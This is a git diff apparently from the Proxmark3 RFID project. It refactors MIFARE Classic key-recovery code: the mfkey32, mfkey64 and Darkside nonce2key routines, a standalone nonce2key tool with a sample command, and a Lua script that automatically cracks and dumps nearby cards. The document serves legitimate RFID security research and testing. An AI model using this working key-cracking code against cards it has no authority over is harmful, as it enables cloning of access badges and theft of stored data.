-       struct Crypto1State *s, *t;
-       uint64_t outkey  = 0;
-       uint64_t key       = 0;                      // recovered key
-       uint32_t uid     = data.cuid;
-       uint32_t nt0     = data.nonce;  // first tag challenge (nonce)
-       uint32_t nr0_enc = data.nr;  // first encrypted reader challenge
-       uint32_t ar0_enc = data.ar; // first encrypted reader response
-       uint32_t nt1     = data.nonce2; // second tag challenge (nonce)
-       uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
-       uint32_t ar1_enc = data.ar2; // second encrypted reader response        
-       bool isSuccess = false;
-       int counter = 0;
-       
-       //PrintAndLog("Enter mfkey32_moebius");
-       uint64_t t1 = msclock();
-
-       s = lfsr_recovery32(ar0_enc ^ prng_successor(nt0, 64), 0);
-  
-       for(t = s; t->odd | t->even; ++t) {
-               lfsr_rollback_word(t, 0, 0);
-               lfsr_rollback_word(t, nr0_enc, 1);
-               lfsr_rollback_word(t, uid ^ nt0, 0);
-               crypto1_get_lfsr(t, &key);
-               
-               crypto1_word(t, uid ^ nt1, 0);
-               crypto1_word(t, nr1_enc, 1);
-               if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt1, 64))) {
-                       //PrintAndLog("Found Key: [%012" PRIx64 "]",key);
-                       outkey=key;
-                       ++counter;
-                       if (counter==20)
-                               break;
-               }
-       }
-       isSuccess       = (counter == 1);
-       t1 = msclock() - t1;
-       //if ( t1 > 0 ) PrintAndLog("Time in mfkey32_moebius: %.1f seconds \nFound %d possible keys", (float)t1/1000.0, counter);
-       *outputkey = ( isSuccess ) ? outkey : 0;
-       crypto1_destroy(s);
-       /* // un-comment to output all keys to stats.txt
-       FILE *fout;
-       if ((fout = fopen("stats.txt","ab")) == NULL) { 
-               PrintAndLog("Could not create file name stats.txt");
-               return 1;
-       }
-       fprintf(fout, "moebius,%d,%08x,%d,%s,%04x%08x,%0.Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t) (outkey>>32),(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
-       fclose(fout);
-       */
-       return isSuccess;
-}
-
-int tryMfk64_ex(uint8_t *data, uint64_t *outputkey){
-       uint32_t uid    = le32toh(data);
-       uint32_t nt     = le32toh(data+4);  // tag challenge
-       uint32_t nr_enc = le32toh(data+8);  // encrypted reader challenge
-       uint32_t ar_enc = le32toh(data+12); // encrypted reader response        
-       uint32_t at_enc = le32toh(data+16);     // encrypted tag response
-       return tryMfk64(uid, nt, nr_enc, ar_enc, at_enc, outputkey);
-}
-
-int tryMfk64(uint32_t uid, uint32_t nt, uint32_t nr_enc, uint32_t ar_enc, uint32_t at_enc, uint64_t *outputkey){
-       uint64_t key    = 0;                            // recovered key
-       uint32_t ks2;                                           // keystream used to encrypt reader response
-       uint32_t ks3;                                           // keystream used to encrypt tag response
-       struct Crypto1State *revstate;
-       
-       PrintAndLog("Enter mfkey64");
-       uint64_t t1 = msclock();
-       
-       // Extract the keystream from the messages
-       ks2 = ar_enc ^ prng_successor(nt, 64);
-       ks3 = at_enc ^ prng_successor(nt, 96);
-       revstate = lfsr_recovery64(ks2, ks3);
-       lfsr_rollback_word(revstate, 0, 0);
-       lfsr_rollback_word(revstate, 0, 0);
-       lfsr_rollback_word(revstate, nr_enc, 1);
-       lfsr_rollback_word(revstate, uid ^ nt, 0);
-       crypto1_get_lfsr(revstate, &key);
-       PrintAndLog("Found Key: [%012" PRIx64 "]", key);
-       crypto1_destroy(revstate);
-       *outputkey = key;
-       
-       t1 = msclock() - t1;
-       if ( t1 > 0 ) PrintAndLog("Time in mfkey64: %.1f seconds \n", (float)t1/1000.0);
-       return 0;
-}
-
diff --git a/client/nonce2key/nonce2key.h b/client/nonce2key/nonce2key.h
deleted file mode 100644 (file)
index 07ad18c..0000000
+++ /dev/null
@@ -1,39 +0,0 @@
-//-----------------------------------------------------------------------------
-// Merlok - June 2011
-// Roel - Dec 2009
-// Unknown author
-//
-// This code is licensed to you under the terms of the GNU GPL, version 2 or,
-// at your option, any later version. See the LICENSE.txt file for the text of
-// the license.
-//-----------------------------------------------------------------------------
-// MIFARE Darkside hack
-//-----------------------------------------------------------------------------
-
-#ifndef __NONCE2KEY_H
-#define __NONCE2KEY_H
-
-#include <stdint.h>
-#include <stdbool.h>
-
-typedef struct {
-                         uint32_t cuid;
-                         uint8_t  sector;
-                         uint8_t  keytype;
-                         uint32_t nonce;
-                         uint32_t ar;
-                         uint32_t nr;
-                         uint32_t nonce2;
-                         uint32_t ar2;
-                         uint32_t nr2;
-                       } nonces_t;
-
-int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key); 
-bool mfkey32(nonces_t data, uint64_t *outputkey);
-bool tryMfk32_moebius(nonces_t data, uint64_t *outputkey);
-int tryMfk64_ex(uint8_t *data, uint64_t *outputkey);
-int tryMfk64(uint32_t uid, uint32_t nt, uint32_t nr_enc, uint32_t ar_enc, uint32_t at_enc, uint64_t *outputkey);
-
-//uint64_t mfkey32(uint32_t uid, uint32_t nt, uint32_t nr0_enc, uint32_t ar0_enc, uint32_t nr1_enc, uint32_t ar1_enc);
-
-#endif
diff --git a/client/obj/nonce2key/.dummy b/client/obj/nonce2key/.dummy
deleted file mode 100644 (file)
index e69de29..0000000
index 0d491df76ab92f6d3560da1e2e36af890f0af158..d68adb3ee66ab82406bd448f147b315d8eb83832 100644 (file)
@@ -8,6 +8,8 @@
 // Some lua scripting glue to proxmark core.
 //-----------------------------------------------------------------------------
 
+#include "scripting.h"
+
 #include <stdlib.h>
 #include <lua.h>
 #include <lualib.h>
@@ -15,9 +17,8 @@
 #include "proxmark3.h"
 #include "usb_cmd.h"
 #include "cmdmain.h"
-#include "scripting.h"
 #include "util.h"
-#include "nonce2key/nonce2key.h"
+#include "mifarehost.h"
 #include "../common/iso15693tools.h"
 #include "iso14443crc.h"
 #include "../common/crc16.h"
@@ -125,49 +126,27 @@ static int returnToLuaWithError(lua_State *L, const char* fmt, ...)
        return 2;
 }
 
-static int l_nonce2key(lua_State *L){
-
-       size_t size;
-       const char *p_uid = luaL_checklstring(L, 1, &size);
-       if(size != 4)  return returnToLuaWithError(L,"Wrong size of uid, got %d bytes, expected 4", (int) size);
-
-       const char *p_nt = luaL_checklstring(L, 2, &size);
-       if(size != 4)  return returnToLuaWithError(L,"Wrong size of nt, got %d bytes, expected 4", (int) size);
-
-       const char *p_nr = luaL_checklstring(L, 3, &size);
-       if(size != 4)  return returnToLuaWithError(L,"Wrong size of nr, got %d bytes, expected 4", (int) size);
-
-       const char *p_par_info = luaL_checklstring(L, 4, &size);
-       if(size != 8)  return returnToLuaWithError(L,"Wrong size of par_info, got %d bytes, expected 8", (int) size);
-
-       const char *p_pks_info = luaL_checklstring(L, 5, &size);
-       if(size != 8)  return returnToLuaWithError(L,"Wrong size of ks_info, got %d bytes, expected 8", (int) size);
-
-
-       uint32_t uid = bytes_to_num(( uint8_t *)p_uid,4);
-       uint32_t nt = bytes_to_num(( uint8_t *)p_nt,4);
-
-       uint32_t nr = bytes_to_num(( uint8_t*)p_nr,4);
-       uint64_t par_info = bytes_to_num(( uint8_t *)p_par_info,8);
-       uint64_t ks_info = bytes_to_num(( uint8_t *)p_pks_info,8);
-
-       uint64_t key = 0;
-
-       int retval = nonce2key(uid,nt, nr, par_info,ks_info, &key);
+static int l_mfDarkside(lua_State *L){
 
+       uint64_t key;
+       
+       int retval = mfDarkside(&key);
+       
        //Push the retval on the stack
-       lua_pushinteger(L,retval);
+       lua_pushinteger(L, retval);
 
        //Push the key onto the stack
        uint8_t dest_key[8];
-       num_to_bytes(key,sizeof(dest_key),dest_key);
+       num_to_bytes(key, sizeof(dest_key), dest_key);
 
        //printf("Pushing to lua stack: %012" PRIx64 "\n",key);
-       lua_pushlstring(L,(const char *) dest_key,sizeof(dest_key));
+       lua_pushlstring(L,(const char *)dest_key, sizeof(dest_key));
 
        return 2; //Two return values
 }
+
 //static int l_PrintAndLog(lua_State *L){ return CmdHF14AMfDump(luaL_checkstring(L, 1));}
+
 static int l_clearCommandBuffer(lua_State *L){
        clearCommandBuffer();
        return 0;
@@ -499,7 +478,7 @@ int set_pm3_libraries(lua_State *L)
        static const luaL_Reg libs[] = {
                {"SendCommand",                 l_SendCommand},
                {"WaitForResponseTimeout",      l_WaitForResponseTimeout},
-               {"nonce2key",                   l_nonce2key},
+               {"mfDarkside",                  l_mfDarkside},
                //{"PrintAndLog",                 l_PrintAndLog},
                {"foobar",                      l_foobar},
                {"ukbhit",                      l_ukbhit},
index ce6db3c00767091c2ab5cd3a61e7d643bcea8d5a..e68f7a75d188d915e142bb9b10e63341203f3b22 100644 (file)
@@ -8,7 +8,7 @@ author = "Martin Holst Swende"
 
 desc =
 [[
-This is a which automates cracking and dumping mifare classic cards. It sets itself into 
+This is a script which automates cracking and dumping mifare classic cards. It sets itself into 
 'listening'-mode, after which it cracks and dumps any mifare classic card that you 
 place by the device. 
 
@@ -63,91 +63,6 @@ function wait_for_mifare()
        return nil, "Aborted by user"
 end
 
-function mfcrack()
-       core.clearCommandBuffer()
-       -- Build the mifare-command
-       local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
-       
-       local retry = true
-       while retry do
-               core.SendCommand(cmd:getBytes())
-               local key, errormessage = mfcrack_inner()
-               -- Success?
-               if key then return key end
-               -- Failure? 
-               if errormessage then return nil, errormessage end
-               -- Try again..set arg1 to 0 this time. 
-
-               cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
-       end     
-       return nil, "Aborted by user"
-end
-
-
-function mfcrack_inner()
-       while not core.ukbhit() do              
-               local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
-               if result then
-
-                       --[[
-                       I don't understand, they cmd and args are defined as uint32_t, however, 
-                       looking at the returned data, they all look like 64-bit things: 
-
-                       print("result", bin.unpack("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH", result))
-
-                       FF      00      00      00      00      00      00      00      <-- 64 bits of data
-                       FE      FF      FF      FF      00      00      00      00      <-- 64 bits of data
-                       00      00      00      00      00      00      00      00      <-- 64 bits of data
-                       00      00      00      00      00      00      00      00      <-- 64 bits of data
-                       04      7F      12      E2      00             <-- this is where 'data' starts
-
-                       So below I use LI to pick out the "FEFF FFFF", don't know why it works.. 
-                       --]]
-                       -- Unpacking the arg-parameters
-                       local count,cmd,isOK = bin.unpack('LI',result)
-                       --print("response", isOK)--FF FF FF FF
-                       if isOK == 0xFFFFFFFF then
-                               return nil, "Button pressed. Aborted."
-                       elseif isOK == 0xFFFFFFFE then
-                               return nil, "Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
-                       elseif isOK == 0xFFFFFFFD then
-                               return nil, "Card is not vulnerable to Darkside attack (its random number generator is not predictable). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
-                       elseif isOK == 0xFFFFFFFC then
-                               return nil, "The card's random number generator behaves somewhat weird (Mifare clone?). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
-                       elseif isOK ~= 1 then 
-                               return nil, "Error occurred" 
-                       end
-
-
-                       -- The data-part is left
-                       -- Starts 32 bytes in, at byte 33
-                       local data = result:sub(33)
-
-                       -- A little helper
-                       local get = function(num)
-                               local x = data:sub(1,num)
-                               data = data:sub(num+1)
-                               return x
-                       end
-
-                       local uid,nt,pl = get(4),get(4),get(8)
-                       local ks,nr = get(8),get(4)
-
-                       local status, key = core.nonce2key(uid,nt, nr, pl,ks)
-                       if not status then return status,key end
-
-                       if status > 0 then 
-                               print("Key not found (lfsr_common_prefix problem)")
-                               -- try again
-                               return nil,nil
-                       else
-                               return key
-                       end
-               end
-       end
-       return nil, "Aborted by user"
-end
-
 function nested(key,sak)
        local typ = 1
        if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
@@ -209,8 +124,15 @@ function main(args)
                        print("Card found, commencing crack", uid)
                        -- Crack it
                        local key, cnt
-                       res,err = mfcrack()
-                       if not res then return oops(err) end
+                       err, res = core.mfDarkside()
+                       if     err == -1 then return oops("Button pressed. Aborted.") 
+                       elseif err == -2 then return oops("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).")
+                       elseif err == -3 then return oops("Card is not vulnerable to Darkside attack (its random number generator is not predictable).")
+                       elseif err == -4 then return oops([[
+Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
+generating polynomial with 16 effective bits only, but shows unexpected behaviour.]])
+                       elseif err == -5 then return oops("Aborted via keyboard.")
+                       end
                        -- The key is actually 8 bytes, so a 
                        -- 6-byte key is sent as 00XXXXXX
                        -- This means we unpack it as first
index 50ff6e1a86c2143deb52039aba8b9ab90c9dea22..013517310eda970204fe2a25f834f63439fa809b 100644 (file)
@@ -509,7 +509,7 @@ lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8],
        odd = lfsr_prefix_ks(ks, 1);
        even = lfsr_prefix_ks(ks, 0);
 
-       s = statelist = malloc((sizeof *statelist) << 21); // need more for no_par special attack. Enough???
+       s = statelist = malloc((sizeof *statelist) << 22); // was << 20. Need more for no_par special attack. Enough???
        if(!s || !odd || !even) {
                free(statelist);
                statelist = 0;
diff --git a/tools/nonce2key/Makefile b/tools/nonce2key/Makefile
deleted file mode 100644 (file)
index 9772e13..0000000
+++ /dev/null
@@ -1,21 +0,0 @@
-VPATH = ../../common/crapto1
-CC = gcc
-LD = gcc
-CFLAGS = -I../../common -Wall -O4
-LDFLAGS =
-
-OBJS = crypto1.o crapto1.o
-HEADERS = crapto1.h
-EXES = nonce2key
-WINEXES = $(patsubst %, %.exe, $(EXES))
-
-all: $(OBJS) $(EXES)
-
-%.o : %.c
-       $(CC) $(CFLAGS) -c -o $@ $<
-
-% : %.c $(OBJS)
-       $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $(OBJS) $<
-
-clean: 
-       rm -f $(OBJS) $(EXES) $(WINEXES)
diff --git a/tools/nonce2key/nonce2key.c b/tools/nonce2key/nonce2key.c
deleted file mode 100644 (file)
index 9cee06d..0000000
+++ /dev/null
@@ -1,57 +0,0 @@
-#include "crapto1/crapto1.h"
-#include <inttypes.h>
-#include <stdio.h>
-typedef unsigned char byte_t;
-
-int main(const int argc, const char* argv[]) {
-  struct Crypto1State *state;
-  uint32_t pos, uid, nt, nr, rr, nr_diff;
-  byte_t bt, i, ks3x[8], par[8][8];
-  uint64_t key_recovered;
-  uint64_t par_info;
-  uint64_t ks_info;
-  nr = rr = 0;
-  
-  if (argc < 5) {
-    printf("\nsyntax: %s <uid> <nt> <par> <ks>\n\n",argv[0]);
-    return 1;
-  }
-  sscanf(argv[1],"%08x",&uid);
-  sscanf(argv[2],"%08x",&nt);
-  sscanf(argv[3],"%016" SCNx64,&par_info);
-  sscanf(argv[4],"%016" SCNx64,&ks_info);
-  
-  // Reset the last three significant bits of the reader nonce
-  nr &= 0xffffff1f;
-  
-  printf("\nuid(%08x) nt(%08x) par(%016" PRIx64 ") ks(%016" PRIx64 ")\n\n",uid,nt,par_info,ks_info);
-
-  for (pos=0; pos<8; pos++)
-  {
-    ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
-    bt = (par_info >> (pos*8)) & 0xff;
-    for (i=0; i<8; i++)
-    {
-      par[7-pos][i] = (bt >> i) & 0x01;
-    }
-  }
-
-  printf("|diff|{nr}    |ks3|ks3^5|parity         |\n");
-  printf("+----+--------+---+-----+---------------+\n");
-  for (i=0; i<8; i++)
-  {
-    nr_diff = nr | i << 5;
-    printf("| %02x |%08x|",i << 5, nr_diff);
-    printf(" %01x |  %01x  |",ks3x[i], ks3x[i]^5);
-    for (pos=0; pos<7; pos++) printf("%01x,",par[i][pos]);
-    printf("%01x|\n",par[i][7]);
-  }
-  
-  state = lfsr_common_prefix(nr,rr,ks3x,par,0);
-  lfsr_rollback_word(state,uid^nt,0);
-  crypto1_get_lfsr(state,&key_recovered);
-  printf("\nkey recovered: %012" PRIx64 "\n\n",key_recovered);
-  crypto1_destroy(state);
-  
-  return 0;
-}
diff --git a/tools/nonce2key/readme.txt b/tools/nonce2key/readme.txt
deleted file mode 100644 (file)
index d9f0862..0000000
+++ /dev/null
@@ -1,7 +0,0 @@
-To test the nonce2key tool.
-
-:: tip
-You can use the output from "hf mf mifare"  to use with this tool. 
-
-:: sample
-./nonce2key e9cadd9c a8bf4a12 a020a8285858b090 050f010607060e07
Impressum, Datenschutz